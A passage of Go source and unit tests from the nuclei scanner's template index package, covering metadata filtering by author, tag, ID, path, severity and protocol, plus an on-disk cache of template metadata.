{\n\tif len(f.ExcludeTemplates) > 0 {\n\t\tfor _, excludePath := range f.ExcludeTemplates {\n\t\t\tif matchesPath(m.FilePath, excludePath) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(f.ExcludeTags) > 0 {\n\t\tif slices.ContainsFunc(f.ExcludeTags, m.HasTag) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\tif len(f.ExcludeIDs) > 0 {\n\t\tfor _, excludeID := range f.ExcludeIDs {\n\t\t\tif matchesID(m.ID, excludeID) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(f.ExcludeSeverities) > 0 {\n\t\tif slices.ContainsFunc(f.ExcludeSeverities, m.MatchesSeverity) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\tif len(f.ExcludeProtocolTypes) > 0 {\n\t\tif slices.ContainsFunc(f.ExcludeProtocolTypes, m.MatchesProtocol) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\n// matchesIncludes checks if metadata matches include filters.\n//\n// Returns true if no include filters are specified, or if all specified filter\n// types match.\nfunc (f *Filter) matchesIncludes(m *Metadata) bool {\n\tif len(f.Authors) > 0 {\n\t\tif !slices.ContainsFunc(f.Authors, m.HasAuthor) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tif len(f.Tags) > 0 {\n\t\tif !slices.ContainsFunc(f.Tags, m.HasTag) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tif len(f.IDs) > 0 {\n\t\tmatched := false\n\t\tfor _, id := range f.IDs {\n\t\t\tif matchesID(m.ID, id) {\n\t\t\t\tmatched = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !matched {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tif len(f.Severities) > 0 {\n\t\tif !slices.ContainsFunc(f.Severities, m.MatchesSeverity) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tif len(f.ProtocolTypes) > 0 {\n\t\tif !slices.ContainsFunc(f.ProtocolTypes, m.MatchesProtocol) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\n// matchesID checks if template ID matches pattern (supports wildcards).\nfunc matchesID(templateID, pattern string) bool {\n\t// Convert to lowercase for case-insensitive matching\n\ttemplateID = strings.ToLower(templateID)\n\tpattern = strings.ToLower(pattern)\n\n\tif templateID == pattern {\n\t\treturn true\n\t}\n\n\tmatched, _ := filepath.Match(pattern, templateID)\n\n\treturn matched\n}\n\n// matchesPath checks if template path matches pattern.\nfunc matchesPath(templatePath, pattern string) bool {\n\ttemplatePath = filepath.Clean(templatePath)\n\tpattern = filepath.Clean(pattern)\n\n\tif templatePath == pattern {\n\t\treturn true\n\t}\n\n\tif strings.HasPrefix(templatePath, pattern+string(filepath.Separator)) {\n\t\treturn true\n\t}\n\n\tmatched, _ := filepath.Match(pattern, templatePath)\n\n\treturn matched\n}\n\n// FilterFunc is a function that filters metadata.\ntype FilterFunc func(*Metadata) bool\n\n// UnmarshalFilter creates a Filter from nuclei options.\nfunc UnmarshalFilter(\n\tauthors, tags, excludeTags, includeTags []string,\n\tids, excludeIDs []string,\n\tincludeTemplates, excludeTemplates []string,\n\tseverities, excludeSeverities []string,\n\tprotocolTypes, excludeProtocolTypes []string,\n) (*Filter, error) {\n\tfilter := &Filter{\n\t\tAuthors:          authors,\n\t\tTags:             tags,\n\t\tExcludeTags:      excludeTags,\n\t\tIncludeTags:      includeTags,\n\t\tIDs:              ids,\n\t\tExcludeIDs:       excludeIDs,\n\t\tIncludeTemplates: includeTemplates,\n\t\tExcludeTemplates: excludeTemplates,\n\t}\n\n\tfor _, sev := range severities {\n\t\tholder := &severity.Holder{}\n\t\tif err := holder.UnmarshalYAML(func(v interface{}) error {\n\t\t\t*v.(*string) = sev\n\t\t\treturn nil\n\t\t}); err == nil {\n\t\t\tfilter.Severities = append(filter.Severities, holder.Severity)\n\t\t}\n\t}\n\n\tfor _, sev := range excludeSeverities {\n\t\tholder := &severity.Holder{}\n\t\tif err := holder.UnmarshalYAML(func(v interface{}) error {\n\t\t\t*v.(*string) = sev\n\t\t\treturn nil\n\t\t}); err == nil {\n\t\t\tfilter.ExcludeSeverities = append(filter.ExcludeSeverities, holder.Severity)\n\t\t}\n\t}\n\n\tfor _, pt := range protocolTypes {\n\t\tholder := &types.TypeHolder{}\n\t\tif err := holder.UnmarshalYAML(func(v interface{}) error {\n\t\t\t*v.(*string) = pt\n\t\t\treturn nil\n\t\t}); err == nil && holder.ProtocolType != types.InvalidProtocol {\n\t\t\tfilter.ProtocolTypes = append(filter.ProtocolTypes, holder.ProtocolType)\n\t\t}\n\t}\n\n\tfor _, pt := range excludeProtocolTypes {\n\t\tholder := &types.TypeHolder{}\n\t\tif err := holder.UnmarshalYAML(func(v interface{}) error {\n\t\t\t*v.(*string) = pt\n\t\t\treturn nil\n\t\t}); err == nil && holder.ProtocolType != types.InvalidProtocol {\n\t\t\tfilter.ExcludeProtocolTypes = append(filter.ExcludeProtocolTypes, holder.ProtocolType)\n\t\t}\n\t}\n\n\treturn filter, nil\n}\n\n// UnmarshalFilterFunc creates a FilterFunc from filter criteria.\nfunc UnmarshalFilterFunc(filter *Filter) FilterFunc {\n\tif filter == nil {\n\t\treturn func(*Metadata) bool { return true }\n\t}\n\n\treturn filter.Matches\n}\n\n// IsEmpty returns true if filter has no criteria set.\nfunc (f *Filter) IsEmpty() bool {\n\treturn len(f.Authors) == 0 &&\n\t\tlen(f.Tags) == 0 &&\n\t\tlen(f.ExcludeTags) == 0 &&\n\t\tlen(f.IncludeTags) == 0 &&\n\t\tlen(f.IDs) == 0 &&\n\t\tlen(f.ExcludeIDs) == 0 &&\n\t\tlen(f.IncludeTemplates) == 0 &&\n\t\tlen(f.ExcludeTemplates) == 0 &&\n\t\tlen(f.Severities) == 0 &&\n\t\tlen(f.ExcludeSeverities) == 0 &&\n\t\tlen(f.ProtocolTypes) == 0 &&\n\t\tlen(f.ExcludeProtocolTypes) == 0\n}\n\n// String returns a human-readable representation of the filter.\nfunc (f *Filter) String() string {\n\tvar parts []string\n\n\tif len(f.Authors) > 0 {\n\t\tparts = append(parts, \"authors=\"+strings.Join(f.Authors, \",\"))\n\t}\n\n\tif len(f.Tags) > 0 {\n\t\tparts = append(parts, \"tags=\"+strings.Join(f.Tags, \",\"))\n\t}\n\n\tif len(f.ExcludeTags) > 0 {\n\t\tparts = append(parts, \"exclude-tags=\"+strings.Join(f.ExcludeTags, \",\"))\n\t}\n\n\tif len(f.IDs) > 0 {\n\t\tparts = append(parts, \"ids=\"+strings.Join(f.IDs, \",\"))\n\t}\n\n\tif len(f.Severities) > 0 {\n\t\tsevs := make([]string, len(f.Severities))\n\t\tfor i, s := range f.Severities {\n\t\t\tsevs[i] = s.String()\n\t\t}\n\n\t\tparts = append(parts, \"severities=\"+strings.Join(sevs, \",\"))\n\t}\n\n\tif len(f.ProtocolTypes) > 0 {\n\t\tpts := make([]string, len(f.ProtocolTypes))\n\t\tfor i, p := range f.ProtocolTypes {\n\t\t\tpts[i] = p.String()\n\t\t}\n\n\t\tparts = append(parts, \"types=\"+strings.Join(pts, \",\"))\n\t}\n\n\tif len(parts) == 0 {\n\t\treturn \"filter=<nil>\"\n\t}\n\n\treturn \"filter(\" + strings.Join(parts, \", \") + \")\"\n}\n"
  },
  {
    "path": "pkg/catalog/index/filter_test.go",
    "content": "package index\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestFilterMatches(t *testing.T) {\n\tmetadata := &Metadata{\n\t\tID:           \"test-template-1\",\n\t\tFilePath:     \"/templates/cves/2021/CVE-2021-1234.yaml\",\n\t\tName:         \"Test CVE Template\",\n\t\tAuthors:      []string{\"pdteam\", \"geeknik\"},\n\t\tTags:         []string{\"cve\", \"rce\", \"apache\"},\n\t\tSeverity:     \"critical\",\n\t\tProtocolType: \"http\",\n\t}\n\n\tt.Run(\"Empty filter matches all\", func(t *testing.T) {\n\t\tfilter := &Filter{}\n\t\trequire.True(t, filter.Matches(metadata))\n\t\trequire.True(t, filter.IsEmpty())\n\t})\n\n\tt.Run(\"Author filter - match\", func(t *testing.T) {\n\t\tfilter := &Filter{Authors: []string{\"pdteam\"}}\n\t\trequire.True(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Author filter - no match\", func(t *testing.T) {\n\t\tfilter := &Filter{Authors: []string{\"unknown\"}}\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Multiple authors - OR logic\", func(t *testing.T) {\n\t\tfilter := &Filter{Authors: []string{\"unknown\", \"geeknik\"}}\n\t\trequire.True(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Tag filter - match\", func(t *testing.T) {\n\t\tfilter := &Filter{Tags: []string{\"cve\"}}\n\t\trequire.True(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Tag filter - no match\", func(t *testing.T) {\n\t\tfilter := &Filter{Tags: []string{\"xss\"}}\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Exclude tags - match\", func(t *testing.T) {\n\t\tfilter := &Filter{ExcludeTags: []string{\"rce\"}}\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Include tags overrides exclude\", func(t *testing.T) {\n\t\tfilter := &Filter{\n\t\t\tExcludeTags: []string{\"rce\"},\n\t\t\tIncludeTags: []string{\"cve\"},\n\t\t}\n\t\trequire.True(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"ID filter - exact match\", func(t *testing.T) {\n\t\tfilter := &Filter{IDs: []string{\"test-template-1\"}}\n\t\trequire.True(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"ID filter - wildcard match\", func(t *testing.T) {\n\t\tfilter := &Filter{IDs: []string{\"test-*\"}}\n\t\trequire.True(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"ID filter - no match\", func(t *testing.T) {\n\t\tfilter := &Filter{IDs: []string{\"other-*\"}}\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Exclude ID - exact match\", func(t *testing.T) {\n\t\tfilter := &Filter{ExcludeIDs: []string{\"test-template-1\"}}\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Exclude ID - wildcard match\", func(t *testing.T) {\n\t\tfilter := &Filter{ExcludeIDs: []string{\"test-*\"}}\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Severity filter - match\", func(t *testing.T) {\n\t\tfilter := &Filter{Severities: []severity.Severity{severity.Critical}}\n\t\trequire.True(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Severity filter - no match\", func(t *testing.T) {\n\t\tfilter := &Filter{Severities: []severity.Severity{severity.High, severity.Medium}}\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Exclude severity - match\", func(t *testing.T) {\n\t\tfilter := &Filter{ExcludeSeverities: []severity.Severity{severity.Critical}}\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Protocol type filter - match\", func(t *testing.T) {\n\t\tfilter := &Filter{ProtocolTypes: []types.ProtocolType{types.HTTPProtocol}}\n\t\trequire.True(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Protocol type filter - no match\", func(t *testing.T) {\n\t\tfilter := &Filter{ProtocolTypes: []types.ProtocolType{types.DNSProtocol}}\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Exclude protocol type - match\", func(t *testing.T) {\n\t\tfilter := &Filter{ExcludeProtocolTypes: []types.ProtocolType{types.HTTPProtocol}}\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Include templates - path match\", func(t *testing.T) {\n\t\tfilter := &Filter{\n\t\t\tExcludeTags:      []string{\"cve\"},\n\t\t\tIncludeTemplates: []string{\"/templates/cves/\"},\n\t\t}\n\t\trequire.True(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Exclude templates - path match\", func(t *testing.T) {\n\t\tfilter := &Filter{\n\t\t\tExcludeTemplates: []string{\"/templates/cves/\"},\n\t\t}\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Complex filter - all match\", func(t *testing.T) {\n\t\tfilter := &Filter{\n\t\t\tAuthors:       []string{\"pdteam\"},\n\t\t\tTags:          []string{\"cve\"},\n\t\t\tSeverities:    []severity.Severity{severity.Critical},\n\t\t\tProtocolTypes: []types.ProtocolType{types.HTTPProtocol},\n\t\t}\n\t\trequire.True(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Complex filter - AND logic across types\", func(t *testing.T) {\n\t\tfilter := &Filter{\n\t\t\tAuthors:    []string{\"pdteam\"},                     // matches\n\t\t\tTags:       []string{\"xss\"},                        // doesn't match\n\t\t\tSeverities: []severity.Severity{severity.Critical}, // matches\n\t\t}\n\t\t// With AND logic across filter types, doesn't match because tags don't match\n\t\t// even though author and severity match\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n\n\tt.Run(\"Complex filter - no match at all\", func(t *testing.T) {\n\t\tfilter := &Filter{\n\t\t\tAuthors:    []string{\"unknown\"},               // doesn't match\n\t\t\tTags:       []string{\"xss\"},                   // doesn't match\n\t\t\tSeverities: []severity.Severity{severity.Low}, // doesn't match\n\t\t}\n\t\trequire.False(t, filter.Matches(metadata))\n\t})\n}\n\nfunc TestMatchesPath(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\tpath     string\n\t\tpattern  string\n\t\texpected bool\n\t}{\n\t\t{\"exact match\", \"/templates/cves/2021/test.yaml\", \"/templates/cves/2021/test.yaml\", true},\n\t\t{\"directory prefix\", \"/templates/cves/2021/test.yaml\", \"/templates/cves\", true},\n\t\t{\"directory with slash\", \"/templates/cves/2021/test.yaml\", \"/templates/cves/\", true},\n\t\t{\"no match\", \"/templates/cves/2021/test.yaml\", \"/templates/exploits\", false},\n\t\t{\"wildcard match\", \"/templates/cves/2021/test.yaml\", \"/templates/*/2021/*.yaml\", true},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult := matchesPath(tt.path, tt.pattern)\n\t\t\trequire.Equal(t, tt.expected, result)\n\t\t})\n\t}\n}\n\nfunc TestMatchesID(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\tid       string\n\t\tpattern  string\n\t\texpected bool\n\t}{\n\t\t{\"exact match\", \"CVE-2021-1234\", \"CVE-2021-1234\", true},\n\t\t{\"wildcard prefix\", \"CVE-2021-1234\", \"CVE-*\", true},\n\t\t{\"wildcard suffix\", \"CVE-2021-1234\", \"*-1234\", true},\n\t\t{\"wildcard middle\", \"CVE-2021-1234\", \"CVE-*-1234\", true},\n\t\t{\"no match\", \"CVE-2021-1234\", \"CVE-2022-*\", false},\n\t\t{\"partial no match\", \"CVE-2021-1234\", \"CVE-2021-12\", false},\n\t\t{\"case insensitive exact\", \"cve-2021-1234\", \"CVE-2021-1234\", true},\n\t\t{\"case insensitive wildcard\", \"CVE-2021-1234\", \"cve-*\", true},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult := matchesID(tt.id, tt.pattern)\n\t\t\trequire.Equal(t, tt.expected, result)\n\t\t})\n\t}\n}\n\nfunc TestUnmarshalFilter(t *testing.T) {\n\tfilter, err := UnmarshalFilter(\n\t\t[]string{\"author1\", \"author2\"},\n\t\t[]string{\"tag1\", \"tag2\"},\n\t\t[]string{\"exclude-tag\"},\n\t\t[]string{\"include-tag\"},\n\t\t[]string{\"id1\", \"id2*\"},\n\t\t[]string{\"exclude-id*\"},\n\t\t[]string{\"/include/path\"},\n\t\t[]string{\"/exclude/path\"},\n\t\t[]string{\"critical\", \"high\"},\n\t\t[]string{\"info\"},\n\t\t[]string{\"http\", \"dns\"},\n\t\t[]string{\"file\"},\n\t)\n\n\trequire.NoError(t, err)\n\trequire.NotNil(t, filter)\n\n\trequire.Equal(t, []string{\"author1\", \"author2\"}, filter.Authors)\n\trequire.Equal(t, []string{\"tag1\", \"tag2\"}, filter.Tags)\n\trequire.Equal(t, []string{\"exclude-tag\"}, filter.ExcludeTags)\n\trequire.Equal(t, []string{\"include-tag\"}, filter.IncludeTags)\n\trequire.Equal(t, []string{\"id1\", \"id2*\"}, filter.IDs)\n\trequire.Equal(t, []string{\"exclude-id*\"}, filter.ExcludeIDs)\n\trequire.Equal(t, []string{\"/include/path\"}, filter.IncludeTemplates)\n\trequire.Equal(t, []string{\"/exclude/path\"}, filter.ExcludeTemplates)\n\n\trequire.Len(t, filter.Severities, 2)\n\trequire.Contains(t, filter.Severities, severity.Critical)\n\trequire.Contains(t, filter.Severities, severity.High)\n\n\trequire.Len(t, filter.ExcludeSeverities, 1)\n\trequire.Contains(t, filter.ExcludeSeverities, severity.Info)\n\n\trequire.Len(t, filter.ProtocolTypes, 2)\n\trequire.Contains(t, filter.ProtocolTypes, types.HTTPProtocol)\n\trequire.Contains(t, filter.ProtocolTypes, types.DNSProtocol)\n\n\trequire.Len(t, filter.ExcludeProtocolTypes, 1)\n\trequire.Contains(t, filter.ExcludeProtocolTypes, types.FileProtocol)\n}\n\nfunc TestIndexFilter(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tidx, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\t// Create test templates and metadata\n\ttemplates := []struct {\n\t\tid       string\n\t\tpath     string\n\t\tauthors  []string\n\t\ttags     []string\n\t\tseverity string\n\t\tprotocol string\n\t}{\n\t\t{\"cve-2021-1\", \"/templates/cves/CVE-2021-1.yaml\", []string{\"pdteam\"}, []string{\"cve\", \"rce\"}, \"critical\", \"http\"},\n\t\t{\"cve-2021-2\", \"/templates/cves/CVE-2021-2.yaml\", []string{\"pdteam\"}, []string{\"cve\", \"xss\"}, \"high\", \"http\"},\n\t\t{\"exploit-1\", \"/templates/exploits/exploit-1.yaml\", []string{\"geeknik\"}, []string{\"exploit\"}, \"medium\", \"dns\"},\n\t\t{\"info-1\", \"/templates/info/info-1.yaml\", []string{\"author1\"}, []string{\"info\"}, \"info\", \"http\"},\n\t}\n\n\tfor _, tmpl := range templates {\n\t\ttmpFile := filepath.Join(tmpDir, filepath.Base(tmpl.path))\n\t\terr := os.WriteFile(tmpFile, []byte(\"id: \"+tmpl.id), 0644)\n\t\trequire.NoError(t, err)\n\n\t\tmetadata := &Metadata{\n\t\t\tID:           tmpl.id,\n\t\t\tFilePath:     tmpFile,\n\t\t\tAuthors:      tmpl.authors,\n\t\t\tTags:         tmpl.tags,\n\t\t\tSeverity:     tmpl.severity,\n\t\t\tProtocolType: tmpl.protocol,\n\t\t}\n\t\tidx.Set(tmpl.path, metadata)\n\t}\n\n\tt.Run(\"No filter returns all\", func(t *testing.T) {\n\t\tresults := idx.Filter(nil)\n\t\trequire.Len(t, results, 4)\n\t})\n\n\tt.Run(\"Filter by author\", func(t *testing.T) {\n\t\tfilter := &Filter{Authors: []string{\"pdteam\"}}\n\t\tresults := idx.Filter(filter)\n\t\trequire.Len(t, results, 2)\n\t})\n\n\tt.Run(\"Filter by tag\", func(t *testing.T) {\n\t\tfilter := &Filter{Tags: []string{\"cve\"}}\n\t\tresults := idx.Filter(filter)\n\t\trequire.Len(t, results, 2)\n\t})\n\n\tt.Run(\"Filter by severity\", func(t *testing.T) {\n\t\tfilter := &Filter{Severities: []severity.Severity{severity.Critical}}\n\t\tresults := idx.Filter(filter)\n\t\trequire.Len(t, results, 1)\n\t})\n\n\tt.Run(\"Filter by protocol type\", func(t *testing.T) {\n\t\tfilter := &Filter{ProtocolTypes: []types.ProtocolType{types.HTTPProtocol}}\n\t\tresults := idx.Filter(filter)\n\t\trequire.Len(t, results, 3)\n\t})\n\n\tt.Run(\"Exclude by severity\", func(t *testing.T) {\n\t\tfilter := &Filter{ExcludeSeverities: []severity.Severity{severity.Info}}\n\t\tresults := idx.Filter(filter)\n\t\trequire.Len(t, results, 3)\n\t})\n\n\tt.Run(\"Exclude by tag\", func(t *testing.T) {\n\t\tfilter := &Filter{ExcludeTags: []string{\"info\"}}\n\t\tresults := idx.Filter(filter)\n\t\trequire.Len(t, results, 3)\n\t})\n\n\tt.Run(\"Complex filter\", func(t *testing.T) {\n\t\tfilter := &Filter{\n\t\t\tTags:              []string{\"cve\"},\n\t\t\tSeverities:        []severity.Severity{severity.Critical, severity.High},\n\t\t\tExcludeSeverities: []severity.Severity{severity.Info},\n\t\t}\n\t\tresults := idx.Filter(filter)\n\t\trequire.Len(t, results, 2)\n\t})\n\n\tt.Run(\"Count with filter\", func(t *testing.T) {\n\t\tfilter := &Filter{Tags: []string{\"cve\"}}\n\t\tcount := idx.Count(filter)\n\t\trequire.Equal(t, 2, count)\n\t})\n\n\tt.Run(\"Count without filter\", func(t *testing.T) {\n\t\tcount := idx.Count(nil)\n\t\trequire.Equal(t, 4, count)\n\t})\n}\n\nfunc TestIndexFilterFunc(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tidx, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\t// Add test metadata\n\tfor i := 0; i < 5; i++ {\n\t\tmetadata := &Metadata{\n\t\t\tID:       \"test-\" + string(rune('a'+i)),\n\t\t\tFilePath: \"/tmp/test.yaml\",\n\t\t\tSeverity: \"high\",\n\t\t}\n\t\tif i%2 == 0 {\n\t\t\tmetadata.Tags = []string{\"even\"}\n\t\t} else {\n\t\t\tmetadata.Tags = []string{\"odd\"}\n\t\t}\n\t\tidx.Set(\"/tmp/test-\"+string(rune('a'+i))+\".yaml\", metadata)\n\t}\n\n\tt.Run(\"Custom filter function\", func(t *testing.T) {\n\t\tresults := idx.FilterFunc(func(m *Metadata) bool {\n\t\t\treturn m.HasTag(\"even\")\n\t\t})\n\t\trequire.Len(t, results, 3) // 0, 2, 4\n\t})\n\n\tt.Run(\"Nil filter function returns all\", func(t *testing.T) {\n\t\tresults := idx.FilterFunc(nil)\n\t\trequire.Len(t, results, 5)\n\t})\n}\n\nfunc TestFilterString(t *testing.T) {\n\tfilter := &Filter{\n\t\tAuthors:       []string{\"author1\", \"author2\"},\n\t\tTags:          []string{\"tag1\"},\n\t\tSeverities:    []severity.Severity{severity.Critical, severity.High},\n\t\tProtocolTypes: []types.ProtocolType{types.HTTPProtocol},\n\t}\n\n\tstr := filter.String()\n\trequire.Contains(t, str, \"authors=\")\n\trequire.Contains(t, str, \"tags=\")\n\trequire.Contains(t, str, \"severities=\")\n\trequire.Contains(t, str, \"types=\")\n\n\temptyFilter := &Filter{}\n\trequire.Equal(t, \"filter=<nil>\", emptyFilter.String())\n}\n"
  },
  {
    "path": "pkg/catalog/index/index.go",
    "content": "package index\n\nimport (\n\t\"encoding/gob\"\n\t\"maps\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\n\t\"github.com/maypok86/otter/v2\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\tfolderutil \"github.com/projectdiscovery/utils/folder\"\n)\n\nconst (\n\t// IndexFileName is the name of the persistent cache file.\n\tIndexFileName = \"index.gob\"\n\n\t// IndexVersion is the schema version for cache invalidation on breaking\n\t// changes.\n\tIndexVersion = 1\n\n\t// DefaultMaxSize is the default maximum number of templates to cache.\n\tDefaultMaxSize = 50000\n\n\t// DefaultMaxWeight is the default maximum weight of the cache.\n\tDefaultMaxWeight = DefaultMaxSize * 800 // ~40MB assuming ~800B/entry\n)\n\n// Index represents a cache for template metadata.\ntype Index struct {\n\tcache     *otter.Cache[string, *Metadata]\n\tcacheFile string\n\tmu        sync.RWMutex\n\tversion   int\n}\n\n// cacheSnapshot represents the serialized cache structure.\ntype cacheSnapshot struct {\n\tVersion int                  `gob:\"version\"`\n\tData    map[string]*Metadata `gob:\"data\"`\n}\n\n// NewIndex creates a new template metadata cache with the given options.\nfunc NewIndex(cacheDir string) (*Index, error) {\n\tif cacheDir == \"\" {\n\t\tcacheDir = folderutil.AppCacheDirOrDefault(\".nuclei-cache\", config.BinaryName)\n\t}\n\n\tif err := os.MkdirAll(cacheDir, 0755); err != nil {\n\t\treturn nil, err\n\t}\n\n\tcacheFile := filepath.Join(cacheDir, IndexFileName)\n\n\t// NOTE(dwisiswant0): Build cache with adaptive sizing based on memory cost.\n\topts := &otter.Options[string, *Metadata]{\n\t\tMaximumWeight: uint64(DefaultMaxWeight),\n\t\tWeigher: func(key string, value *Metadata) uint32 {\n\t\t\tif value == nil {\n\t\t\t\treturn uint32(len(key))\n\t\t\t}\n\n\t\t\tweight := len(key)\n\t\t\tweight += len(value.ID)\n\t\t\tweight += len(value.FilePath)\n\t\t\tweight += 24 // ModTime is time.Time (24B)\n\t\t\tweight += len(value.Name)\n\t\t\tweight += len(value.Severity)\n\t\t\tweight += len(value.ProtocolType)\n\t\t\tweight += len(value.TemplateVerifier)\n\n\t\t\tfor _, author := range value.Authors {\n\t\t\t\tweight += len(author)\n\t\t\t}\n\t\t\tfor _, tag := range value.Tags {\n\t\t\t\tweight += len(tag)\n\t\t\t}\n\n\t\t\treturn uint32(weight)\n\t\t},\n\t}\n\n\tcache, err := otter.New(opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tc := &Index{\n\t\tcache:     cache,\n\t\tcacheFile: cacheFile,\n\t\tversion:   IndexVersion,\n\t}\n\n\treturn c, nil\n}\n\n// NewDefaultIndex creates a index with default settings in the default cache\n// directory.\nfunc NewDefaultIndex() (*Index, error) {\n\treturn NewIndex(\"\")\n}\n\n// Get retrieves metadata for a template path, validating freshness via mtime.\nfunc (i *Index) Get(path string) (*Metadata, bool) {\n\ti.mu.RLock()\n\tdefer i.mu.RUnlock()\n\n\tmetadata, found := i.cache.GetIfPresent(path)\n\tif !found {\n\t\treturn nil, false\n\t}\n\n\tif !metadata.IsValid() {\n\t\tgo i.Delete(path)\n\n\t\treturn nil, false\n\t}\n\n\treturn metadata, true\n}\n\n// Set stores metadata for a template path.\n//\n// The caller is responsible for ensuring the metadata is valid and contains\n// the correct checksum before calling this method.\n// Use [SetFromTemplate] for automatic extraction and checksum computation.\n//\n// Returns the metadata and whether it was successfully cached (false if evicted).\nfunc (i *Index) Set(path string, metadata *Metadata) (*Metadata, bool) {\n\ti.mu.Lock()\n\tdefer i.mu.Unlock()\n\n\treturn i.cache.Set(path, metadata)\n}\n\n// SetFromTemplate extracts metadata from a parsed template and stores it.\n//\n// Returns the metadata and whether it was successfully cached. The metadata is\n// always returned (even on checksum failure) for immediate filtering use.\n// Returns false if the metadata was not cached (e.g., set, evicted).\nfunc (i *Index) SetFromTemplate(path string, tpl *templates.Template) (*Metadata, bool) {\n\tmetadata := NewMetadataFromTemplate(path, tpl)\n\n\tinfo, err := os.Stat(path)\n\tif err != nil {\n\t\treturn metadata, false\n\t}\n\tmetadata.ModTime = info.ModTime()\n\n\tif i.cache == nil {\n\t\treturn metadata, false\n\t}\n\n\treturn i.Set(path, metadata)\n}\n\n// Has checks if metadata exists for a path without validation.\nfunc (i *Index) Has(path string) bool {\n\ti.mu.RLock()\n\tdefer i.mu.RUnlock()\n\n\t_, found := i.cache.GetIfPresent(path)\n\n\treturn found\n}\n\n// Delete removes metadata for a path.\nfunc (i *Index) Delete(path string) {\n\ti.mu.Lock()\n\tdefer i.mu.Unlock()\n\n\ti.cache.Invalidate(path)\n}\n\n// Size returns the number of cached entries.\nfunc (i *Index) Size() int {\n\ti.mu.RLock()\n\tdefer i.mu.RUnlock()\n\n\treturn i.cache.EstimatedSize()\n}\n\n// Clear removes all cached entries.\nfunc (i *Index) Clear() {\n\ti.mu.Lock()\n\tdefer i.mu.Unlock()\n\n\ti.cache.InvalidateAll()\n}\n\n// Save persists the cache to disk using gob encoding.\nfunc (i *Index) Save() error {\n\ti.mu.RLock()\n\tdefer i.mu.RUnlock()\n\n\tsnapshot := &cacheSnapshot{\n\t\tVersion: i.version,\n\t\tData:    make(map[string]*Metadata),\n\t}\n\n\tmaps.Insert(snapshot.Data, i.cache.All())\n\n\t// NOTE(dwisiswant0): write to temp for atomic op.\n\ttmpFile := i.cacheFile + \".tmp\"\n\tfile, err := os.Create(tmpFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tencoder := gob.NewEncoder(file)\n\tif err := encoder.Encode(snapshot); err != nil {\n\t\t_ = file.Close()\n\t\t_ = os.Remove(tmpFile)\n\n\t\treturn err\n\t}\n\n\tif err := file.Close(); err != nil {\n\t\t_ = os.Remove(tmpFile)\n\n\t\treturn err\n\t}\n\n\tif err := os.Rename(tmpFile, i.cacheFile); err != nil {\n\t\t_ = os.Remove(tmpFile)\n\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n// Load loads the cache from disk using gob decoding.\nfunc (i *Index) Load() error {\n\tfile, err := os.Open(i.cacheFile)\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn nil\n\t\t}\n\n\t\treturn err\n\t}\n\tdefer func() { _ = file.Close() }()\n\n\tvar snapshot cacheSnapshot\n\n\tdecoder := gob.NewDecoder(file)\n\tif err := decoder.Decode(&snapshot); err != nil {\n\t\t_ = file.Close()\n\t\t_ = os.Remove(i.cacheFile)\n\n\t\treturn nil\n\t}\n\n\tif snapshot.Version != i.version {\n\t\t_ = file.Close()\n\t\t_ = os.Remove(i.cacheFile)\n\n\t\treturn 